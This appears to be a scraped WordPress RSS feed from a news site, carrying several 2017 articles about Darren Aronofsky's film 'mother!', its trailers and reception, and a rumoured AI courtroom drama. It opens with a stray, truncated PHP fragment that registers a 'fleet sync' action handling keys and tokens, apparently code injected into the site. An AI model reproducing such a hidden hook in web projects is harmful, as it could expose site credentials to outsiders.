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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Aronofsky’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 30 Dec 2017 02:03:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Aronofsky’s – Brief News https://briefnews.eu 32 32 Darren Aronofsky’s Favorite TV Shows Include a Popular Cartoon and Ample Nudity https://briefnews.eu/darren-aronofskys-favorite-tv-shows-include-a-popular-cartoon-and-ample-nudity/ https://briefnews.eu/darren-aronofskys-favorite-tv-shows-include-a-popular-cartoon-and-ample-nudity/#respond Sat, 30 Dec 2017 02:03:38 +0000 http://briefnews.eu/darren-aronofskys-favorite-tv-shows-include-a-popular-cartoon-and-ample-nudity/ Darren Aronofsky's Favorite TV shows
After the intense production – and release – of mother!, director Darren Aronofsky is ready to decompress for a while by catching up on some TV. In a new interview, the filmmaker revealed a list of his favorite TV shows, which include a popular HBO series where everyone dies, an animated show that people everywhere can’t shut up about, and also a series full of nudity. Read on for Darren Aronofsky’s favorite TV shows.

What does Darren Aronofsky like to do when he’s not making intense movies like Requiem for a Dream, Noah or the recent, highly underrated mind-fuck mother!? He likes to watch TV, of course. Aronofsky is now coming off a whirlwind production schedule and press tour for mother! – a psychological horror film that was met with a hostile reaction from nearly everyone who came in contact with it, as if it were less a movie and more of a radioactive piece of debris – and all he wants to do now is chillax.

In a new interview with IndieWire’s Filmmaker’s Toolkit podcast (by way of Vulture) Aronofsky says, “I just want to relax a little bit,” and his ideal way of relaxation includes catching up on some TV. So just what sort of TV does Darren Aronofsky, director and scarf enthusiast, like to unwind with? Per Aronofsky, he’d like to “catch up on Rick and Morty season three and Game of Thrones season seven. And The Deuce is coming out! Never mind Naked and Afraid XL, season three.”

That’s right, like many people, Aronofsky is a fan of Rick and Morty, the animated series that caused its fans to go absolutely insane when McDonald’s failed to stock up on Schezwan sauce. This revelation potentially makes a scene late in mother!, where a horde of crazy fans invade a house and proceed to tear it to pieces, take on a whole new meaning. Perhaps these roustabouts were simply angry Rock and Morty fans, furious over Jennifer Lawrence’s lack of Schezwan sauce in her pantry.

Game of Thrones’ inclusion here makes sense as well, since everyone watches that show (except me – sorry). I’m not quite sure what Aronofsky means by “The Deuce is coming out!”, since the first season of that show has already aired on HBO. Does he mean season 2, or has no one informed Mr. Aronofsky that The Deuce season 1 is already available? Someone tell him, ASAP.

The most surprising addition to this list is the nude-based reality show Naked and Afraid XL, in which “veteran survivalists familiar with the stripped-down drill after appearing on Naked and Afraid attempt to survive in a desolate, dangerous environment for 40 days – 19 more than they previously experienced on the show.” Sure, whatever floats your boat, Darren Aronofsky.

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Cinephiles rejoice anytime writer/director Darren Aronofsky makes a new movie, because love him or hate him, his films always give us plenty to talk about. That’s especially true with mother!, his horror thriller that’s been ripping audiences apart since it made its festival debut. The film is so divisive, in fact, that it earned a rare “F” CinemaScore when it opened in wider release last week and even inspired Paramount Pictures to release a statement defending their decision to distribute the film in the first place.

Paramount has been knocked over by a wave here, but instead of sputtering and quietly crawling back to the shore, the studio is embracing the film’s polarizing response and defiantly turning toward the ocean, arms spread wide and chin held high, ready to be sent sprawling by the next one crashing toward them.

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It’s rare that a studio reacts to a divisive film like this, but it reminds me a little of the way 20th Century Fox included bad reviews of Fight Club in that film’s home video release, almost daring audiences to watch the movie. I applaud Paramount for standing by their movie and their director here, because they easily could have taken a different path here.

mother! is indeed an intense experience, culminating in a third act that’s one of the most surprising things a major studio has released in years. In his review from the Toronto International Film Festival, /Film’s Chris Evangelista writes:

…it’s hard not to at least appreciate a film that is so wholly committed to going insane. The last stretch of mother! is an anarchic nightmare, filled with scenes that appear to be trying to one-up each other in terms of shocking material. Aronofsky’s script doesn’t pull its punches, and the horrific imagery begins to come fast and furious, one shocking moment on top of another, to the point that you might find yourself dizzy from it all.

Ultimately, I’d recommend going out and seeing the movie for yourself, because at the very least you’ll have a lot of thoughts about it and a ton of great things to read afterward. As for what the film is actually about, you can read Aronofsky’s thoughts on the matter here, or our own Josh Spiegel’s spoiler review, which grapples with the movie’s allegories in a comprehensive and satisfying way. Plus, /Filmcast host David Chen wrote a smart piece about the film’s five most interesting aspects that’s also worth digging into.

mother! is in theaters right now.

A couple’s relationship is tested when uninvited guests arrive at their home, disrupting their tranquil existence.

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]]> https://briefnews.eu/mother-tv-spot-leans-into-the-divisive-reactions-to-aronofskys-latest-film/feed/ 0 What Darren Aronofsky’s ‘mother!’ is Really About, According to Darren Aronofsky https://briefnews.eu/what-darren-aronofskys-mother-is-really-about-according-to-darren-aronofsky/ https://briefnews.eu/what-darren-aronofskys-mother-is-really-about-according-to-darren-aronofsky/#respond Tue, 19 Sep 2017 11:59:38 +0000 http://briefnews.eu/what-darren-aronofskys-mother-is-really-about-according-to-darren-aronofsky/ What mother is really about

Leave it to Darren Aronofsky to lob a cinematic concussion grenade right in the middle of September. The writer/director’s latest film, mother!, is layer upon layer of allegory and metaphor, a movie that almost demands a long conversation afterwards to process what you’ve just seen. It’s earned a rare “F” Cinemascore, and Paramount even had to issue a statement defending their decision to release the film (read that here), which is a move that strikes me as crazier than anything that happens in the actual movie.

Aronofsky and his star Jennifer Lawrence have spoken about how they intended the movie to be about Mother Nature, and in a new interview, the filmmaker answers more questions about what mother! is really about. But do his intentions matter any more?

What mother! is Really About

Speaking with Collider, Aronofsky explained that he structured the film using the Bible as a foundation:

“But that was the structure of the film was the Bible, using that as a way of discussing how humans have lived here on Earth. But it was also meant to be sort of ambiguous because that’s not really a story, it’s more of a structural thing. A lot of people aren’t picking up on all of it, there’s lots of little things and Easter Eggs and how things connect, and I think that’s the fun of unpacking the movie.”

But he also talks about the movie being a cautionary tale involving the way humanity is treating the environment:

“The reason it’s hard for people sometimes is I’m pointing the finger at all of us about what’s going on and what we’re doing and how we’re treating Mother, but it is a cautionary tale too and I’m an optimist. I feel like the final chapter of Mother hasn’t been written yet and we can still write our way. All that said, at the core of it I wanted to make a film that was really intense and entertaining and filled with stars and weird stuff and things that just sort of spin people out. So it’s got a bunch of stuff because I think you can’t really go out and make that movie—unless you’re making a documentary—if you’re just trying to make it entertainment. So the first and foremost thing is to entertain people, to get people to come to the theater. If on top of that you could hang some cool ideas that actually affect people deep inside, sure that’s great. That’s been my goal always.”

Aronofsky admits that the “Mother Nature” metaphor falls apart during the movie’s closing moments (which I won’t describe here), which is part of the reason that I personally find the movie more interesting to engage with when you think about it as a treatise on toxic relationships and the things women have to endure in their everyday lives (being alternately ignored and relied on, getting attacked when they express an opinion, etc). And on top of that baseline reading, I also found it fascinating to consider what the movie is saying about the relationship a creative person has with his or her art and how that can overshadow the human connection with a loved one. Aronofsky says he planted those seeds as well:

“People are getting the more traditional muse and the creator marriage, suddenly being invaded by all these outside forces and the terror of that—that’s like a good level to get it on. But then it really goes bonkers, the film, and unless you sort of have a sense that we’re talking about other stuff or you allow yourself to take a ride on that, you’re gonna resist it and not have a good trip.”

Update: Twitter user David Ramon shared this tweet with us, and after having seen the film, these posters are definitely worth a closer look.

Do Aronofsky’s Intentions Matter?

The writer/director can talk all day about what he was attempting to say with his movie, and those comments can certainly provide some focus for the audience if they’re looking for guidance in dissecting the film’s themes. (Head to Collider to read even more of his comments if you’re interested.) But ultimately, the movie belongs to the public now: mother! means whatever you want it to mean, as long as you can point to enough textual evidence from the film to make a compelling argument.

In his spoiler review of the movie, /Film’s Josh Spiegel explains a handful of allegories – including a Biblical reading, an exploration of the muse/creator relationship, and a meta-textual commentary on the nature of celebrity – clearly and distinctly, and I’d encourage everyone to read that piece if you’re still searching for some insight into Aronofsky’s ambitious, swing-for-the-fences thriller.

mother! is in theaters right now.

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]]> https://briefnews.eu/what-darren-aronofskys-mother-is-really-about-according-to-darren-aronofsky/feed/ 0 I Went on Darren Aronofsky’s Strange *mother!* Movie Scavenger Hunt https://briefnews.eu/i-went-on-darren-aronofskys-strange-mother-movie-scavenger-hunt/ https://briefnews.eu/i-went-on-darren-aronofskys-strange-mother-movie-scavenger-hunt/#respond Sat, 16 Sep 2017 01:40:00 +0000 http://briefnews.eu/i-went-on-darren-aronofskys-strange-mother-movie-scavenger-hunt/ The director got me to go down an alley to talk to a dude in trench coat. How was *your* Saturday?


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]]> https://briefnews.eu/i-went-on-darren-aronofskys-strange-mother-movie-scavenger-hunt/feed/ 0 Javier Bardem Is a Horrifying Husband in Full Trailer for Darren Aronofsky’s ‘mother!’ https://briefnews.eu/javier-bardem-is-a-horrifying-husband-in-full-trailer-for-darren-aronofskys-mother/ https://briefnews.eu/javier-bardem-is-a-horrifying-husband-in-full-trailer-for-darren-aronofskys-mother/#respond Tue, 08 Aug 2017 14:44:52 +0000 http://briefnews.eu/javier-bardem-is-a-horrifying-husband-in-full-trailer-for-darren-aronofskys-mother/ The first full trailer for Darren Aronofsky’s anticipated mother!, is out, and it reveals a Rosemary’s Baby type narrative, drawing on the horrors of intimacy, wherein a husband and wife lovingly make a domestic paradise together, while in the meantime, the husband has secretly been inviting evil into it through the presence of falsely innocuous strangers. They show up, then begin to overtake the life the non-colluding spouse thought was perfect, plunging her into their hellish rituals. Rosemary’s Baby turned out to be one of the best horror movie/psychological thriller/things of the 20th century, so it’s clearly a good setup: and mother! — or at least mother!’s trailer — looks like it uses it quite well, to very horrific ends.

The film stars Jennifer Lawrence and Javier Bardem as the central couple, and Michelle Pfeiffer and Ed Harris as two strangers who show up. “They’ve come here to see me,” says Bardem, with creepily calm glee, later in the trailer, after we’ve already seen Pfeiffer and Harris engaging in foreplay that’s somehow evilly sexy, eerie old photos of Bardem stored in their luggage, the house suddenly teeming with strangers, and a lightbulb oozing blood. So yeah, “they’ve come to see me” can’t mean anything good for Lawrence’s character, or her husband’s motives. And then shit starts to get really scary — though we don’t really know what, per se, is creating all the scariness. (The skittering score, by Arrival composer Jóhann Jóhannsson, does just as much work as the visuals, which are actually pretty vague in the trailer.)

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The newest trailer for Darren Aronofsky‘s horror movie mother! debuted tonight, and it looks like he’s putting another protagonist through the psychological gauntlet. This time it’s Jennifer Lawrence, who plays a seemingly loving wife to Javier Bardem‘s character and becomes increasingly unhinged as more and more people start showing up to their home unannounced. This looks creepy in all the right ways.

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“They’ve come here to see me,” says Bardem’s character, and in a trailer packed with mysterious imagery, I feel comfortable saying that he looks like he may be the leader of some kind of cult – I’m feeling some vibes similar to those in Karyn Kusama’s The Invitation. I’m also picking up on a bit of a throwback to What Lies Beneath with Michelle Pfieffer being scary in an old house, so that ought to be a lot of fun. “You give, and you give, and you give,” she says, “it’s just never enough.” Is this entire movie a metaphor about relationships? Aronofsky has touched on that theme before, but that’d be an interesting topic for him to explore in a deeper way with this movie.

For me, though, the trailer’s most eerie moment is when Lawrence’s character looks through a window and sees dozens of people on her lawn with flashlights (no spoilers, but again, some shades of The Invitation there). There might even be some supernatural elements at play here, as the couple’s happy and newly-restored home seems to be burning away before our eyes late in the trailer. It looks like Aronofsky has a bunch of different influences shining through in this one, and I’m looking forward to learning this film’s secrets when it arrives next month.

Here’s the new poster for mother!, which features Lawrence’s face being chipped away like a china doll – perhaps mirroring her psychological state, similar to how Aronofsky explored mental breakdowns in Black Swan:

Mother poster full

Aronofsky is directing the film (his seventh) and wrote the screenplay, and the film’s official description is appropriately vague: “A couple’s relationship is tested when uninvited guests arrive at their home, disrupting their tranquil existence.” Jennifer Lawrence, Javier Bardem, Michelle Pfeiffer, Domnhall Gleeson, Ed Harris, and Kristen Wiig star, and Jóhann Jóhannsson (Sicario, Arrival) will compose the score.

mother! makes its debut at the Venice Film Festival before traveling to the Toronto International Film Festival, and the non-festival-going crowd will be able to see it when it hits theaters on September 15, 2017.

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]]> https://briefnews.eu/mother-trailer-jennifer-lawrence-has-unwanted-houseguests-in-darren-aronofskys-horror-thriller/feed/ 0 Watch: Jennifer Lawrence Walks Through a Nightmare in Teaser for Darren Aronofsky’s ‘Mother!’ https://briefnews.eu/watch-jennifer-lawrence-walks-through-a-nightmare-in-teaser-for-darren-aronofskys-mother/ https://briefnews.eu/watch-jennifer-lawrence-walks-through-a-nightmare-in-teaser-for-darren-aronofskys-mother/#respond Mon, 31 Jul 2017 21:43:25 +0000 http://briefnews.eu/watch-jennifer-lawrence-walks-through-a-nightmare-in-teaser-for-darren-aronofskys-mother/ Black Swan/The Wrestler/Requiem for a Dream director Darren Aronofsky’s Mother! is set for release in a month and a half (on September 15) — yet even with its impending release date, nobody really knows what the hell it’s about. The just released teaser trailer — which sees Jennifer Lawrence wandering around an idyllic/creepy house to fractured voiceover, then opens onto a rapid montage of varyingly nightmarish images — certainly isn’t revealing. (The extent to what can be gleaned: Jennifer Lawrence is indoors; things are ominous.)

Yet I found myself watching it a few times over to see if I could piece together anything resembling an idea of what’s going on, and you might find yourself doing the same. It certainly helps to know that, according to (the still very vague description in) Variety, the film concerns a couple whose life is disturbed by the arrival of strangers. Is Lawrence the strangers? Is Lawrence the couple? Is she Mother!? Of course, if this is anything like Black Swan, she could be all of the above! (That said, hopefully this isn’t anything like Black Swan.)

The voiceover in the trailer at least suggests that Lawrence is, indeed, one member of the couple, as we hear her asking, “what brings you here?” To which a voice that sounds like Ed Harris’ (which makes sense: he’s in the film) says, in a perhaps disingenuously innocuous manner, “They told me I could find a room here!” Then an unseen Javier Bardem seemingly chimes in — “He thought we were a bed and breakfast.” (Is Bardem the other member of the couple?) Then, as we see Lawrence continue to ethereally wander the house, her voiceover screams, “murderer,” and suddenly the screen flashes with images of a man on fire, a maimed bee, a bald head whose obscured face could be that of Ed Harris kissing Michelle Pfeiffer’s neck — and, get ready — the movie’s title!!

Not visible here are Kristen Wiig and Domnhall Gleeson, who’re also somewhere in the film. We’ll find out more on August 8, when the full trailer is set for release.

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]]> https://briefnews.eu/watch-jennifer-lawrence-walks-through-a-nightmare-in-teaser-for-darren-aronofskys-mother/feed/ 0 ‘mother!’ Teaser Trailer: Darren Aronofsky’s Newest Film Looks Absolutely Insane https://briefnews.eu/mother-teaser-trailer-darren-aronofskys-newest-film-looks-absolutely-insane/ https://briefnews.eu/mother-teaser-trailer-darren-aronofskys-newest-film-looks-absolutely-insane/#respond Mon, 31 Jul 2017 14:21:53 +0000 http://briefnews.eu/mother-teaser-trailer-darren-aronofskys-newest-film-looks-absolutely-insane/ mother! Jennifer Lawrence

The mother! teaser trailer for Darren Aronofsky‘s newest film seemed as cryptic you could get, with garbled, disconnected dialogue playing over a scene of Jennifer Lawrence walking silently through a house. That is, until the last horrifying 10 seconds.

It’s a teaser trailer in the truest sense, offering us nothing to make of the film, except for the fact that it looks disturbing as hell. Bring it on.

mother! stars Jennifer Lawrence, Javier Bardem, Ed Harris, and Michelle Pfeiffer, and follows “a couple whose relationship is tested when uninvited guests arrive at their home, disrupting their tranquil existence.” Details of the film are under wraps, and the teaser trailer keeps a tight lid on those details still.

In the trailer, overlapping voices and Lawrence’s sobbing, distraught voice play over a subdued, creepy shot of a bewildered Lawrence in a white dress, wandering through a house.

“What brings you to us?” Jennifer Lawrence’s voice asks.

“They told me I could find a room here,” Ed Harris’ voice responds. “He thought we were a bed and breakfast,” Javier Bardem jokes.

The dialogue becomes more choppy and garbled as Lawrence continues to wander through the dining room, then hears a knock at the door. The eerie, cacophonous music and sounds of objects breaking build as Lawrence walks to the door and finally opens it — to no one.

These are the lines I could catch:

  • “He’s a stranger.”
  • “Hello.”
  • “Did you know he had a wife?”
  • “Who are these people?!”
  • “They’ve come here to see me.”
  • “You’re insane!”
  • “MURDERER!”
  • “God help you.”

It’s in the last 10 seconds of the 30-second teaser that the teaser shows its true colors as an intense psychological-horror, showing flashes of a man walking into a fire, a cicada, a wide-eyed Lawrence screaming at the camera, Harris seducing Pfeiffer’s character, a lightbulb exploding, and Bardem screaming “No!” It looks unhinged and crazy, and I’ve watched it about 10 times.

Audiences for Dunkirk were surprised with a teaser for mother! this past weekend, as well as its provocative poster, featuring Lawrence with her bloodied heart in her hands. Indeed, mother! looks like a worthy follow-up to Aronofsky’s psychosexual 2010 thriller Black Swan, if not even more deranged.

mother! will premiere at the Venice Film Festival before screening at the Toronto International Film Festival. The film hits theaters September 15.

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]]> https://briefnews.eu/mother-teaser-trailer-darren-aronofskys-newest-film-looks-absolutely-insane/feed/ 0 Darren Aronofsky’s ‘Mother!’ Trailer Attached to Some ‘Dunkirk’ Screenings, Movie Gets a New Release Date https://briefnews.eu/darren-aronofskys-mother-trailer-attached-to-some-dunkirk-screenings-movie-gets-a-new-release-date/ https://briefnews.eu/darren-aronofskys-mother-trailer-attached-to-some-dunkirk-screenings-movie-gets-a-new-release-date/#respond Fri, 21 Jul 2017 05:40:04 +0000 http://briefnews.eu/darren-aronofskys-mother-trailer-attached-to-some-dunkirk-screenings-movie-gets-a-new-release-date/ Mother Trailer

Here’s a cool bonus for some of you who are heading out to see Dunkirk tonight. The first trailer for mother!, the new horror thriller from director Darren Aronofsky (Black Swan), has debuted in front of select screenings of Christopher Nolan’s epic World War II film. The trailer doesn’t appear to be online yet, but you can read a brief description of it below and find out the film’s brand new release date while you’re at it.

A reader first told us that a mother! trailer played before an IMAX screening of Dunkirk in New York City’s AMC Empire 25 tonight, and we’ve also corroborated reader reports of the trailer playing in least two other locations in NYC: AMC 34th Street and Regal Union Square. No word yet on any other theaters in the country, but we’ll be keeping our ears open. We’ve also confirmed that the mother! trailer is not attached to every print of Dunkirk, so it looks the studio might be zeroing in on a specific market here.

They say that the trailer features no actual footage from the movie and is instead mostly a black screen with words appearing on the screen, all cut to audio from the film. The trailer ends with a reveal of the movie’s new, earlier release date: September 15, 2017. (The movie was originally set for an October 13, 2017 release date.) It’ll now face off against the survival thriller Alpha and the ensemble action film American Assassin at the box office, so hopefully audiences won’t make their choices about what to see based solely on the title’s alphabetical placement that weekend.

We haven’t seen the trailer arrive online, so it’s unclear whether Paramount is holding it for an exclusive run in theaters or whether they’ll be dropping it online at any minute. David Fincher did a similar thing for The Curious Case of Benjamin Button and that trailer wasn’t released online until weeks later, so maybe that’s the plan here. One thing’s for sure: since the studio is skipping San Diego Comic-Con this year, it won’t be surprising Hall H audiences during a presentation at the fan convention this week.

Aronofsky wrote the screenplay for mother! in addition to directing, and his movie follows “a couple whose relationship is tested when uninvited guests arrive at their home, disrupting their tranquil existence.” It stars Jennifer Lawrence, Javier Bardem, Michelle Pfeiffer, Domnhall Gleeson, Ed Harris, and Kristen Wiig. We also know that Jóhann Jóhannsson will compose the score, and his work on films like Sicario and Arrival has me incredibly excited to see what his collaboration with Aronofsky will yield.

Let us know if you’ve seen the new mother! trailer below. If you can give us any more information about it, feel free to leave it in the comments. Here’s the film’s provocative poster:

Mother poster

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]]> https://briefnews.eu/darren-aronofskys-mother-trailer-attached-to-some-dunkirk-screenings-movie-gets-a-new-release-date/feed/ 0 Darren Aronofsky’s Next Film Could Be a Courtroom Drama Involving Artificial Intelligence [Updated] https://briefnews.eu/darren-aronofskys-next-film-could-be-a-courtroom-drama-involving-artificial-intelligence-updated/ https://briefnews.eu/darren-aronofskys-next-film-could-be-a-courtroom-drama-involving-artificial-intelligence-updated/#respond Wed, 19 Jul 2017 01:56:40 +0000 http://briefnews.eu/darren-aronofskys-next-film-could-be-a-courtroom-drama-involving-artificial-intelligence-updated/ Darren Aronofsky AI

Update: Aronofsky clarified today that he hasn’t officially signed on to a new directorial project yet. Our original story follows.

Three years will have elapsed between the release of Requiem for a Dream director Darren Aronofsky‘s 2014 movie Noah and his upcoming horror thriller mother!, but it seems like fans of the director’s work won’t have to wait another three years to see his next movie. Reports indicate that the filmmaker’s next project will be a courtroom drama that somehow involves artificial intelligence. Read on to learn everything we know about the potential Darren Aronofsky AI movie.

Deadline reports that Paramount Pictures has acquired an untitled script by rookie writer Joe Epstein for Aronofsky to direct, and the director’s Protozoa Pictures will produce. We don’t know any plot details beyond the fact that it revolves around an artificial intelligence court case. Whether it’s about a case featuring humans arguing about the impact of a piece of AI technology, or (my personal hope) that it’s actually about artificially intelligent robots as the jury, judge, and lawyers trying the case, we’re still not sure. The former situation admittedly seems more likely, but I imagine the latter will happen at some point, and a fascinating filmmaker like Aronofsky may as well be the first to take a crack at telling that kind of story.

Either way, the popularity of HBO’s Westworld has brought conversations about artificial intelligence back into the cultural zeitgeist, and considering that show’s second season isn’t coming back until sometime in 2018, those topics will still be fresh on the public’s collective mind by the time this movie comes out.

It’s difficult to speculate about the nature of this project when we know so little about it, but Aronofsky directed one of my favorite movies, The Fountain, so I’m always curious to watch his career evolve. He’s never made a straight ahead legal drama before, and I’ll be interested to see if he uses this story as a canvas to continue his on-screen exploration of themes like mortality or if the movie will be a more straightforward examination of traditional themes that often crop up in regards to AI. We’ll let you know when we find out more details about this one, but in the meantime, color me intrigued.

In the meantime, mother! – a home invasion horror thriller that stars Jennifer Lawrence, Javier Bardem, Michelle Pfeiffer, Domnhall Gleeson, Ed Harris, and Kristen Wiig – arrives in theaters on October 13, 2017.

If Aronofsky does indeed make this untitled AI movie after mother!, it will be his eighth feature film. The rest of his directorial efforts include Pi, Requiem for a Dream, The Fountain, The Wrestler, Black Swan, and Noah.

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